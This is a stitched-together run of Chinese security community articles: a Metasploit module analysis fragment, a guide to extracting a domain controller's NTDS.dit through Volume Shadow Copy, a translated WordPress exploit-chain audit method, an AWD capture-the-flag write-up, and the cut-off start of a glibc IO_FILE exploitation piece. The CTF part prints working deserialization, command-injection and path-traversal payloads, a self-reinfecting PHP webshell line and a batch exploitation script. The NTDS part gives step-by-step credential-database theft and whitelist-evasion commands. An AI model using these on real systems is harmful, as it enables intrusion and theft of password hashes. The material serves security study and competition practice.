上图中可以看到最重要的REX库文件在/lib目录下，这个库处理来几乎所有的核心功能，如设置网络套字节，网络连接等等基本功能。
/lib目录下还有一个msf/目录
上图中可以看到该下有/base、/core
2个重要的目录，/core目录下包含了所有对应不同操作和功能的库文件；/base目录下可以找到渗透测试、攻击载荷、后渗透攻击模块等等其他模块的核心库文件。
## 实战模块分析
说了这么多下面我们开始实战分析个模块，学习一下套路，毕竟在人家的地盘还得按照人家的规矩来办事。
1. /modules/auxiliary/scanner/http/http_version.rb 分析
上图中 第1-4行为注释，第6行“require
‘rex/proto/http’“表示引入REX库下面所有HTTP协议方法，如下图中所有的模块都可以被调取使用
接下来的“Msf::Auxilary”定义了该代码为辅助模块；
第11行代码表示引入 lib/msf/core/exploit/http/client.rb，该库文件里包含来大量请求，连接的方法。
第12行代码表示引入
/lib/msf/core/auxiliary/wmapmodule.rb，该库文件主要是一款基于metasploit通用开发的web应用扫描框架。
第14行代码表示引入 /lib/msf/core/auxiliary/http/scanner.rb，该库文件主要是用于基础的扫描操作。
上图第18行代码开始为一些模块/漏洞名词介绍，该代码编写者名字等信息，最后用一个end结束。
最后这段代码才是正在做事干活的，
第31行代码处定义了一个方法“run_host”来作为与所需主机的连接。
如果连接成功，就进行到了connect方法，用于与目标服务器建立一个HTTP连接，这个方法在
/lib/msf/core/auxiliary/http/scanner.rb
被定义。运行到第33行使用‘send_request_raw()’函数来发送GET请求并传递为‘res’变量（注：send_request_raw()函数在lib/msf/core/exploit/http/client.rb被定义，代码如下图）
如果连接成功，进行到来第35行代码，使用一个“http_fingerprint”方法来记录和过滤吊一些信息（如：set-cookie，powered-by等），该方法在/lib/msf/core/exploit/http/client.rb 内689行定义，如图
接着我们再把经过过滤的响应信息赋值给”res”变量。下面就是对这些数据进行简单的输出打印，最后一行 “rescue ::Timeout::Error,
::Errno::EPIPE” 就是表示如果模块超时/异常时，抛出错误信息。
最后我们运行一下这个模块，看看会输出什么信息
通过上图可以看到，我们加载模块后输入“info”，看到输出的一些介绍就算我们在代码中18行处的内容，下面我们执行该模块
可以看到输入的内容格式对应的是第36行代码：“ print_good(“#{ip}:#{rport} #{fp}”) if fp”。
本章内容可能比较简单，是为了后面文章的铺垫。本菜将持续更新，希望大家多多支持！谢谢您的观看，如哪里写的不对，请各位大佬斧正！ | 社区文章 |
## 0x00 前言
在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow
Copy实现对ntds.dit文件的复制，可用来导出域内所有用户hash。本文将尝试做系统总结，总结多种不同的方法。
## 0x01 简介
本文将要介绍以下内容：
· 多种实现方法
· 比较优缺点
## 0x02 通过Volume Shadow Copy获得域控服务器NTDS.dit文件
测试系统：
· Server 2008 R2 x64
· Server 2012 R2 x64
Volume Shadow Copy Service：
· 用于数据备份
· 支持Windows Server 2003 及以上操作系统
· 系统默认在特定条件下自动创建数据备份，如补丁安装后。在Win7系统大概每隔一周自动创建备份，该时间无法确定
· 禁用VSS会影响系统正常使用，如 System Restore和 Windows Server Backup
### 1、ntdsutil
域环境默认安装
支持系统：
· Server 2003
· Server 2008
· Server 2012
· …
**常用命令：**
(1) 查询当前快照列表
`ntdsutil snapshot "List All" quit quit`
(2) 查询已挂载的快照列表
`ntdsutil snapshot "List Mounted" quit quit`
(3) 创建快照
`ntdsutil snapshot "activate instance ntds" create quit quit`
(4) 挂载快照
`ntdsutil snapshot "mount GUID" quit quit`
(5) 卸载快照:
`ntdsutil snapshot "unmount GUID" quit quit`
(6) 删除快照
`ntdsutil snapshot "delete GUID" quit quit`
**实际测试：**
(1) 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
(2) 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid为{6e31c0ab-c517-420b-845d-c38acbf77ab9}
如下图
(3) 挂载快照
`ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit`
快照挂载为C:\$SNAP_201802270645_VOLUMEC$\，如下图
(4) 复制ntds.dit
`copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit`
(5) 卸载快照:
`ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit`
(6) 删除快照
`ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit`
### 2、vssadmin
域环境默认安装
支持系统：
· Server 2008
· Server 2012
· …
**常用命令：**
(1) 查询当前系统的快照
`vssadmin list shadows`
(2) 创建快照
`vssadmin create shadow /for=c:`
(3) 删除快照
`vssadmin delete shadows /for=c: /quiet`
实际测试：
(1) 查询当前系统的快照
`vssadmin list shadows`
(2) 创建快照
`vssadmin create shadow /for=c:`
获得Shadow Copy Volume Name为\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
如下图
(3) 复制ntds.dit
`copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit
c:\ntds.dit`
(4) 删除快照
`vssadmin delete shadows /for=c: /quiet`
### 3、vshadow.exe
系统默认不支持，可在Microsoft Windows Software Development Kit (SDK)中获得该工具
**注：**
64位系统需要使用64位的vshadow.exe
不同系统可供使用的vshadow.exe下载地址：
<http://edgylogic.com/blog/vshadow-exe-versions/>
**常用命令：**
(1) 查询当前系统的快照
`vshadow.exe -q`
(2) 创建快照
`vshadow.exe -p -nw C:`
参数说明：
-p persistent，备份操作或是重启系统不会删除
-nw no writers，用来提高创建速度
C: 对应c盘
(3) 删除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
实际测试：
(1) 查询当前系统的快照
`vshadow.exe -q`
(2) 创建快照
`vshadow.exe -p -nw C:`
获得SnapshotSetID为{809b77cc-cf9a-4101-b802-08e97d10e613}
获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e3113d464f76}
获得Shadow copy device name为\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
如下图
(3) 复制ntds.dit
`copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit
c:\ntds.dit`
(4) 删除快照
`vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}`
or
`vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}`
### 4、vssown.vbs
可供参考的下载地址：
<https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs>
本质上是通过wmi对ShadowCopy进行操作
通过wmi查询快照信息：
`wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET
DeviceObject,ID,InstallDate /FORMAT:list`
powershell实现：
<https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1>
### 扩展
**1、日志文件**
调用Volume Shadow Copy服务会产生日志文件，位于System下，Event ID为7036
执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event
ID为98的日志文件
如下图
**2、访问快照中的文件**
查看快照列表：
`vssadmin list shadows`
无法直接访问\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的文件
可通过创建符号链接访问快照中的文件：
`mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\`
如下图
删除符号链接：
`rd c:\testvsc`
利用思路：
如果当前系统存在快照文件，可对系统的历史文件进行访问
**3、利用vshadow执行命令**
参考资料：
<https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/>
执行命令：
`vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:`
执行后，后台存在进程VSSVC.exe，同时显示服务Volume Shadow Copy正在运行，需要手动关闭进程VSSVC.exe
**注：**
手动关闭进程VSSVC.exe会生成日志7034
利用思路：
vshadow.exe包含微软签名，能绕过某些白名单的限制。如果作为启动项，Autoruns的默认启动列表不显示
## 0x03 通过NinjaCopy获得域控服务器NTDS.dit文件
下载地址：
<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1>
没有调用Volume Shadow Copy服务，所以不会产生日志文件7036
## 0x04 小结
本文整理了多种获得域控服务器NTDS.dit文件的方法，测试使用环境，比较优缺点。
> 本文为 3gstudent 原创稿件， 授权嘶吼独家发布，如若转载，请注明原文地址：
> <http://www.4hou.com/technology/10573.html> | 社区文章 |
**这PPT值得好好理解，审计思路可拓展至任何语言的框架、前端、后端、数据库操作逻辑审计**
**如有翻译失误，参照原文混合阅读理解即可，pdf见附件**
## 背景
WordPress是一个非常流行的内容管理系统，超过34％的人使用它搭建网站。易用性、兼容性、免费性和庞大的插件库（超过5w个）使WordPress成为第一个无需任何建站知识和开发预算即可快速轻松地建立网站的系统。
WordPress可以进行自定义和优化，因此很多政府网站或者市值百亿的公司也在使用此CMS来开发管理他们的网站。
黑客们一直很热衷于对WordPress进行漏洞挖掘，他公开公平公正的bugBounty计划，吸引了各路神仙的审计与挖掘，当然少不了有些0day收藏所需导致的神秘力量也在挖呢。。得益于此，WordPress的迭代更新周期也很快，所以审计这个最受欢迎的CMS源码是一个巨大的挑战，但同时也是学习代码审计思路的优秀案例，因为他更新的真滴贼快，时效性贼强:P
当开始对WordPress核心代码进行漏洞挖掘时，我们很快意识到要找到关键漏洞，就必须脱离日常Web应用程序中查找简单漏洞的方法（黑盒），转而使用更有效的方法和手段来进行挖掘（代码审计）。
本文记录了我们将源代码分离为组件，将几个影响较小的bug组合为功能强大的特权升级和远程代码执行exp-chain的过程。文中我们陆续发现了五个漏洞，最终完成从【未验证漏洞】提升到【任意远程代码执行】的流程。所有问题均已披露给WordPress安全团队并已发出补丁。
我们相信公开此漏洞审计的文章不仅可以帮助其他研究人员优化审计方法，还可以帮助开发人员更好地了解攻击者的思维方式，并为提高安全开发意识而打下基础。
## 方法介绍
本章介绍了我们审计WordPress的方式。
首先一起回顾最常见的审核源代码的方法，了解并当前被审计框架（例如WordPress）的bug缺陷。然后，我们跟随文章案例介逐一讲解我们所使用的审计思路。
## 传统代码审核方法
挖掘Web应用程序中漏洞的最简单方法是【用户输入】→【危险函数】。
对传入数据直接丢进【危险函数】是一个脑残的开发方式，可能使【不受信任的用户输入】被直接带入执行，执行前我们应该对任何输入内容进行过滤处理。
例如：数据库操作、文件写入或命令执行等敏感操作时，这些操作可能会被攻击者利用，通过逃逸或者反序列化等，最终导致不可控的外部命令非法注入。
此类漏洞的一个非常简单的示例如下所示：
$dir = $_GET['dir'];
// something...
system("ls " . $dir);
通过随机传入特殊fuzz内容，研究人员可以很快通过黑盒发现此类漏洞。当然，通过审计中层层步进的审计方式，手工验证数据是否经过处理后安全传递给危险函数（或逃逸传递逻辑），出奇制胜风味更佳。
## 传统审计方法缺陷
由于WordPress等通用框架的0days价值很高，使用【用户输入】→【危险函数】这种静态审计的方法已经被老练的黑客团体、国家队和研究人员挖烂了。流行的通用框架中搞出这种“教科书式漏洞”的效率越来越低。所以如今的0day多半极其复杂，这种通用框架的漏洞，多半需要2-3个组合拳利用链才能完成整个攻击过程。这意味着越来越多的中间步骤夹杂在【用户输入】到【处理逻辑】的过程中。更恶心的是在每个步骤之间，还有许多需要精心设计才能满足的先前逻辑条件，就特么跟CTF故意的一样。艹
我们使用RIPS的静态扫描器WordPress核心代码时，着重于发现【用户输入】→【处理逻辑】中的看似低影响或没有太多直接影响的小缺陷。通常，那些总有各种传入限制或只会引发一些不痛不痒的错误的洞，被某些只想“一键日天”的人视为卵用没有。
其实许多可控的gadgets并不是真正意义的漏洞，看起来只是导致功能出现偏差（弱类转换/变量覆盖）或影响非常有局限性（self-xss/需要其他权限的操作）。同时网络犯罪分子、赏金猎人们和0day自动挖掘工具，仅感兴趣于或仅能发现表层“一发入魂”的直接造成高危影响的洞。因此，这些没卵用的bug，可能并没被注意也没被上报。那么问题就来了。艹
为了找出新高危利用方式，我们选择了全面审查代码中最牛批有效的方法：“无敌组合拳exp-chain”。单合并多个低影响力漏洞难在把他们联系起来。不同利用点要不不在一个逻辑里，要不干脆不在一个module里，要不干脆功能上没有半毛钱关联。但正是毛线关系没有，导致这种利用链很难发现（虽然你很难发现，但可喜可贺别人也难得发现，呵呵呵）。当研究人员仅尝试通过代码审计跟踪【用户输入】是否直接传递给关键【危险函数】时，由于通常无法直接绕过这些限制，研究人员通常放弃继续跟，因为看上去这个洞就是卵用没有。但是，或许可以通过不同的方式来打破限制。（联想nginx配置失误后php_pathinfo的洞）
## 案例分析
让我们看一下这种组合洞的实例，在WordPress中发现。我们使用了两个漏洞（特性），在代码审计时并没看到他俩有卵毛线关系。所以分别单个审视时他们是不可利用的。（请注意，以下示例需要管理员权限才能进行利用并作为一个案例）尽管默认情况下管理员可以通过上传新的插件和主题来执行任意PHP代码，但这类弱点也可以在安装WordPress后进行[改进修复](https://wordpress.org/support/article/hardening-wordpress/)。所以我们要找到另一个（后漏洞分析中会提到的）未认证漏洞。
### 有限制的文件包含
我们使用静态代码分析工具发现了一个WordPress主题中的本地文件包含（LFI）的漏洞（RIPS漏洞报告）。它允许攻击者从当前目录里`include()`执行任何文件。
WordPress中的主题是可能只会包含模板文件以及css文件/js文件。因此此LFI漏洞是有局限性不能直接利用的。
WordPress通过限制为当前主题的目录，来确保传递给`include()`的参数是安全的，我们不可能从其他目录绕过限制引发漏洞，至少在正常的经过安全加固的WordPress中，我们无法上传其他文件到该主题的目录或修改主题目录中已存在的文件。这意味着尽管可以在当前主题目录中实行任意文件包含，我们也包含不到我们的payload，艹。
因此，这个点只能被看作是个弱点，但不是安全漏洞。（在撰写本文时这个弱点也尚未被WordPress修补）但是，如果我们找到个方法把payload传入到这个主题目录下呢？
### 绕过限制的方法
由于WordPress限制了所包含的模板文件必须位于当前主题的目录下，所以唯一的利用方法是 **以某种方式修改主题文件** 或者
**将payload文件上传/移动到主题目录**
。找到这样一个利用点，我们决定对WordPress中的一些上传/修改文件的组件进行审计。我们减少了对插件的研究，开始看看更新功能和媒体文件上传功能，因为这些点可控也必定出现文件操作。但是，我们很快意识到，去审计WordPress的文件上传功能必定一无所获，因为各种模块里上传文件有各种奇葩限制并且还会对文件名进行过滤。
审计WordPress中间件（如：过滤器）在文件上传过程中的作用，发现上传不同文件类型时中间件的处理方式也不同。因此，我们将每种文件类型的上传功能分解为如下线性方式。例如当`.txt`类型文件上传到WordPress中时，将经过：
1.清理文件名
2.从数据库相关`upload_path`设置中获取`.txt`类型文件应该移动到的目录
3.将文件移动到目标目录
抽象理解了`.txt`文件上传过程后，我们发现了利用之前局限性LFI漏洞的方法，如果能够对`upload_path`设置进行可控的任意修改，那么之后`.txt`文件就能被上传到我们制定的目录。
如图，我们可以修改`upload_path`指向任意目录，比如：如果WordPress使用了默认主题`twentyninteen`，那么我们只要修改`upload_path`为`wp-content/themes/twentyninteen`就能绕过之前`include()`没有办法上传文件到主题目录，但又必须包含在主题目录下文件的限制，从而继续利用了。通过结合两个弱点，我们即可完成一个任意php代码执行（RCE啊我艹）
## 寻找有效利用
上述案例只是一个漏洞的示例，完整流程是当两个位于不同位置的弱点，能组合利用的时候才能完整触发。因此，传统的【用户输入】→【危险函数】审计方法是不可能很好发现这种利用方法的，如果只看`include()`的代码块只能找到个无法利用的弱点，虽然对于修补潜在风险发现问题马上修补这个方法已经够了，但作为漏洞研究员，我们不能直观的把这些弱点与其他组件的功能联系起来利用，所以我们需要一种更标准的审计挖掘方法(思路)帮助我们快速统计各种弱点并尝试组合，将这些低位弱点按正确的逻辑顺序拼成一个牛批的高危0day。
因此，我们重新组织挖掘方法分为四个步骤来开展审计。
### （一）组件识别分类
由于影响较小的弱点之间的联系，通常位于【Web应用程序的逻辑】和【框架的整体结构】之间，因此将【Web应用程序】解构成【模块组件】是有意义的，每个【模块组件】相对于【整体结构】和【web应用程序】都有独特的存在目的，所以不能简单地只把整个【Web应用程序】看作是一堆的函数和类去直接审计。
例如，分出一个【主题组件】它就只处理WordPress主题相关的功能和逻辑。另一个【文件组件】可能是WordPress的文件管理组件，它只负责处理所有文件操作。考虑这些组件的另一种方法是黑盒测试：组件接收数据、进行处理、继续传递。例如【主题组件】接收数据，它就应该显示博客文章的类型，以及此处应该使用模板的数据。（稍后我们通过一个实例来理解）
### （二）按功能列举组件
当研究员审计特定功能时我们应该去细分【模块组件】，如实现“文章创建”的功能，就可以细分成由很多【模块组件】组成。
例如，在WordPress中创建文章时【用户输入】将通过多个【模块组件】传递，最后整体组成“文章评论”功能：
1. 首先针对XSS攻击进行了清理（XSS过滤组件）
2. 然后针对SEO进行了优化（SEO组件）
3. 然后将文章存储在数据库中（数据库组件）
4. 从数据库中获取并再次修改（编辑组件）
5. 嵌入到生成的HTML页面（主题组件）
如上，我们可以将“文章创建”功能分解成WordPress中的五个不同【模块组件】所组成。
### （三）按列举联动审计
将功能分解为多个模块组件，我们就可以对每个参与的模块组件按顺序跟进并发问：“这个模块组件为什么在这？又TM是干嘛的？有没有可能出错？”
例如，在（二）中，当我们分析WordPress文章创建时存在一个【SEO组件】，该组件在过滤输入后，会修改文章中的HTML标签，因此关于问题“这TM是干嘛的？有没有可能出错？”，分析发现，该【SEO组件】用来分析、修改和优化文章中用于SEO的中HTML标签。
如果可以截断解析和影响修改过程则可能会出现XSS漏洞。 我们将在稍后提供更多实际示例，这些示例讲述了我们如何找到单个组件中的漏洞。
当研究人员明确了寻找目的时，他们可以更有效地搜索或扫描单个组件中的缺陷。从模块组件归类（模块组件多少取决于被审计功能目的、复杂程度等）中审计单个组件的缺陷，使我们可以发现影响较小的缺陷，否则这些小缺陷很容易被忽略。
### （四）构造漏洞利用链
总结前面的步骤，我们首先必须：
1. 将web应用细分为（与安全相关的）各种组件
2. 将功能抽象为一系列模块组件的集合，并了解这些组件如何相互关联
3. 找出相关模块组件中的一个或多个弱点
然后，我们可以挖掘所发现的弱点与其余功能之间的关系，思考如何将它们组合在一起变成一个完整的exp-chain。
在这最后一步中我们可能遇上一系列困难。这些弱点仍然存在于源代码中的原因通常是“总之存在某些限制”导致无法直接利用。但是，只要研究人员了解了各步骤的局限性，以及找到bypass的解决方案，他就可以开始整体审计找出最终关键的切入点。由于这些限制是开发中非常普遍的，因此在应用程序中仍然存在这种（因有限制没有被修改的）弱点的可能性非常高。
为了完整利用上文中“局限性LFI漏洞”的那个例子，我们必须找到一个新的切入点，让我们可以将 **任何文件** 上传到 **特定目录**
。由于此类错误不会直接导致远程代码执行，因此我们可以大胆假设，其他挖洞的人和官方review说不定将其忽略了。为了有效地发现一个能bypass限制的利用点，我们可以看看该模块组件存在于哪些功能里，然后在这几个使用了问题组件的功能中，去寻找能触发组件漏洞的第一个入点，这样我们审计工作量就从“大海捞针”全局搜寻，缩减为“有的放矢”的只审计包含问题组件的那几个功能了。
上文中“身份验证的远程执行代码漏洞”的示例我们就是这样做审计的。回顾一下：
1. 我们发现了一个允许包含某个目录中的任意文件的LFI漏洞但是该目录不可访问，但不能将包含PHP代码的文件放入其中。
2. 突破限制的唯一方法是使用其他功能将用户可控的文件上传或移动到该特定目录。
清楚了这一点后，我们将研究范围减小到WordPress的插件更新组件和文件上传组件上。然后，我们使用了如上审计的步骤，将每个功能分解为一系列包含在内的组件，以便从漏洞点的上游组件中，找到允许我们将文件上传到特定目录的利用点。下一节中查看更复杂的示例。
### 漏洞分析
在本节中，我们通过分析源代码功能再分解为组件，并归纳组件之间的联系，来演示审计WordPress的方法。然后，我们来分析一下此方法所找到的真实的安全漏洞。并非审计过程中的所有部分能对应到特定的一个审计公式或固定准则（也有经验之谈和fuzz瞎猜），但是我们总结的方法能让流程更简洁易懂。
下面我们将进一步介绍有关WordPress内部结构的技术细节（无需事先预习WordPress知识）。每个错误的出现都关乎我们需要的特定功能缺陷，最后建立出完整的exp-chain。我们首先在WordPress的管理员面板找到了一些小错误，并将这些小错误联系到一个需要身份验证的代码执行漏洞。但是该漏洞需要管理员权限（这不是我想要的）。为了提升威力，我们尝试降低权限在目标站点上寻找能未授权RCE的切入点。
最终，我们设法找到了一个未授权的漏洞，该漏洞使我们可以接管高权用户的会话，并利用任何已经过身份验证的用户会话来远程执行我们的payload。
（ 未完，下一篇见:P ）
* 翻译自《How we found 5 0days in WordPress》- RIPS Technologies | 社区文章 |
## 前言
10.3 [星盟安全](https://www.xmcve.com/)周年庆举办了一场线上AWD比赛
参赛队伍总计31支，见到了不少熟悉的ID
神仙大战果然被暴打hhhhhh，运气好还水了一个小奖品。
学到了不少东西，今天来写一下复盘总结。
## 比赛规则
* 每个队伍分配到一个docker主机，给定`web`(web)/`pwn`(pwn)用户权限，通过特定的端口和密码进行连接；
* 每台docker主机上运行一个web服务或者其他的服务，需要选手保证其可用性，并尝试审计代码，攻击其他队伍。
* 选手需自行登录平台熟悉自助式初始化、api提交flag等功能。初始密码为队长所设密码，队长需在比赛开始前10分钟向主办方提交密码，过期未提交视为弃权。
* 选手可以通过使用漏洞获取其他队伍的服务器的权限，读取他人服务器上的flag并提交到平台上。每次成功攻击可获得5分，被攻击者扣除5分；有效攻击五分钟一轮。选手需要保证己方服务的可用性，每次服务不可用，扣除10分；服务检测五分钟一轮；
* 不允许使用任何形式的DOS攻击，第一次发现扣1000分，第二次发现取消比赛资格。
比赛最终结果将在10月3日晚19:00-19:30于北极星杯网络安全交流群直播公布，同时会有技术分享及抽奖活动，敬请关注。
## 比赛开始
这次比赛3个web 2个pwn
首先就是老套路，打包源码跟数据库，然后D盾扫一扫。
因为队友的分工是权限维持，自己的分工主要是get flag，就直接看漏洞吧。
### WEB1
#### 预留后门
三个冰蝎一个普通一句话
难受的就是自己主要是撸批量getflag脚本的，但是冰蝎的shell怎么tm写脚本啊喵喵喵？？？
第一时间写好了普通一句话的批量脚本
改了改让他自动提交
当时大家可能都还没修，手速快就自动交了两轮
但是可以看到10队已经上了通防脚本，返回了一个假的flag
#### 反序列化
sqlhelper.php最下面有这样一句
if (isset($_POST['un']) && isset($_GET['x'])){
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
unserialize($_POST['un']);
}
$name 传个system $male传个cat /flag 就可以拿到flag了
payload:
GET: `?x=yzddmr6`
POST: `un=O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";};`
#### 注入上传
login.php
<?php
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
$username=$_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where name='$username' and password='$password';";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
echo $sql;
if ($res->num_rows){
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
$_SESSION['icon'] = $row['icon'];
echo "<script>alert('登录成功');window.location.href='/'</script>";
}else{
echo "<script>alert('用户名密码错误')</script>";
}
}
?>
可以看到直接把接收到了$username给带入到了sql语句中，产生注入
直接用万能密码就可以绕过
接着往下看登录之后可以做什么
info.php
if (isset($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误：" . $_FILES["file"]["error"] . "<br>";
} else {
$type = $_FILES["file"]["type"];
if($type=="image/jpeg"){
$name =$_FILES["file"]["name"] ;
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
$helper = new sqlhelper();
$sql = "UPDATE admin SET icon='$name' WHERE id=$_SESSION[id]";
$helper->execute_dml($sql);
}
}else{
echo "<script>alert('不允许上传的类型');</script>";
}
}
}
可以看到他对文件类型的判断仅仅是`if($type=="image/jpeg")` 这里在数据包里修改content-type即可绕过，所上传的文件将会保存在`assets/images/avatars/`目录下。
但是由于平台数据库有点问题，无法进行注入，所以这个洞当时也没利用起来。
### WEB2
web2是web1的升级版，当时少看见一个文件读取的洞，亏死啦！
#### 预留后门
pww.php跟pass.php都是冰蝎。。。
不会写冰蝎的批量脚本，队伍又31个队，就基本没管这个后门
index.php里面就是一个普通的一句话
#### 命令注入
我们可以看到D盾还报了一个exec后门
直接把$host双引号里带入
然后看一下$host是怎么来的
然后看数据是如何放入数据库的
在收到`$_POST['host']`后程序还经过了一层addslashes操作，过滤其中的单双引号还有斜杠
但是实际上在执行的`$r = exec("ping -c 1 $host");`这一句中并不需要引号逃逸，所以他的过滤操作并没有什么卵用。
因为exec是没有回显的，所以构造以下payload
`||cat /flag > /ver/www/html/1.txt`
把flag输出到网站根目录下
好像是需要登录，具体我也忘了
#### 任意文件读取
img.php
<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用图片头输出浏览器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;
payload:`/img.php?img=../../../../../../../flag`
#### 反序列化
同web1，只不过不需要x参数了
### WEB3
能利用起来的好像就这一个洞，当时也没来得及看
#### 命令执行
export.php
<?php
if (isset($_POST['name'])){
$name = $_POST['name'];
exec("tar -cf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">
导出成功,<a href='backup/$name'>点击下载</a></div>"}
?>
老套路，同web2
payload: `|| cat /flag > /var/www/html/1.txt ||`
## 艰难的权限维持
其实AWD比赛刚开始的时候，最重要的是维持权限而不是急着交flag。
当我还在审第一个web的时候，看到预留后门就问队友要不要给他框架弹个shell
结果他告诉我框架爆炸了。。。弹shell一直500。。。
缓缓打出三个问号？？？喵喵喵？？？
以前都是用团队的这个框架没问题，结果今天死活连不上。。。。
GG，这咋整啊，31个队手工维权吗。。。
所以就只能搞一些骚操作
### 循环批量GET FLAG
撸了一串脚本，来回跑，然后加上接口自动提交，没有框架只能这样了
### 乌鸦坐飞机
对，没错，我们就是乌鸦，坐了别的队的飞机。
自己靶机的流量日志上发现了别的队伍的payload
写了个脚本看了下，几乎所有的队伍都被种上了这个师傅的马
不死马循环写入，被删后马上复活
你的马看起来不错，下一秒就是我的了。
白嫖了好几轮的flag
然后闲的没事想着不如连上蚁剑看看吧，找找其他师傅的马
批量导入一下
看见其他队伍被种了马，满怀热泪的帮他们删了站。
有一个队伍被命令注入打惨了，也帮他们删个站吧。
当然还看到不少其他队伍的马
甚至还有批量上waf的py脚本
毕竟是其他队伍的内部脚本，象征性打个码
流量日志里还发现一个狼人队伍的循环感染不死马
会遍历目录把所有的php文件头部加上后门
<?php if (md5($_REQUEST['pass'])==="8e68ca4946b8e146a408f727eaf9da7c"){@eval($_REQUEST['code']);@system($_REQUEST['sys']);} ?>
不过惊讶的是他的md5居然可以解开
somd5牛逼！
好马，下一秒就是我的了
批量脚本走起
import requests
import json
url="http://39.100.119.37:{0}{1}80/login/index.php?pass=Happy.Every.Day&code=system('cat /flag');"
def submit(flag):
hosturl="http://39.100.119.37:10000/commit/flag"
data={'flag':flag,"token":"xxxxx"}
data=json.dumps(data)
r=requests.post(hosturl,data=data,headers={"Cookie":"PHPSESSID=xxxxx","Content-Type":"application/json; charset=UTF-8"})
print(r.text)
for j in range(1,4):
for i in range(1,32):
i=str(i).zfill(2)
url1=url.format(j,i)
print(url1)
try:
res=requests.get(url=url1)
if 'flag' in res.text:
submit(res.text[0:38])
print(res.text[0:38])
except:
pass
## 尾声
最后web基本上都修了，payload已经打不动了
只能靠不死马来get flag
因为开始手快，得分比较多，还有负责修的队友比较给力，掉分不是很多。
然而毕竟是白嫖别人的马，所以增长分数的速度越来越慢
最后还往后掉了一名，不过还拿个小奖hhhhh
## 总结
师傅们一个个都心狠手辣，但是说到最后还是自己有很多没有考虑到的地方
因为框架主要是需要先弹个shell到自己的服务器，然后才能自动维权，get flag等一系列操作
但是开始框架崩了后直接懵了，不知道怎么办
其实现在想自己完全可以当时重写一个批量种不死马的脚本来维权
但是当时31个队伍，三个一堆洞的web，难免有些手忙脚乱。
有些队伍的通防很厉害，匹配到关键字直接返回一个假的flag，自己准备也写一个。
怀疑他们用的都是一家的脚本。。。。返回的flag都一样
## 最后
AWD一般都是线下赛，线上AWD见得还不多。
星盟的这个线上赛体验还是很不错的，能够撑住31个队伍，每个队伍5个题也是挺厉害的
中途虽然平台有宕机但是很快就恢复了。
给星盟点个赞，希望今后能够越办越好~
**本人水平有限，文笔较差，如果有什么写的不对的地方还希望大家能够不吝赐教** | 社区文章 |
# 新版本glibc下的IO_FILE攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
原本想在5月底写这篇文章的，但是由于一些特殊的原因一直拖到现在，该篇文章主要讲了新版本下的io_file攻击，该种攻击手法可以实现非预期堆块的申请、释放和填充以及实现glibc2.29往上版本的srop攻击(搭配largebin
attrack效果更佳)
## 攻击原理：
在以前版本的IO_FILE攻击普遍上采用的是劫持IO函数的_chain字段为伪造的IO_FILE_plus然后进行利用，其中伪造的IO_FILE_plus的vtable一般是io_str_overflow这种函数，而新版本的IO_FILE攻击也不例外，首先我们看一下libc2.32上的io_str_overflow函数
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
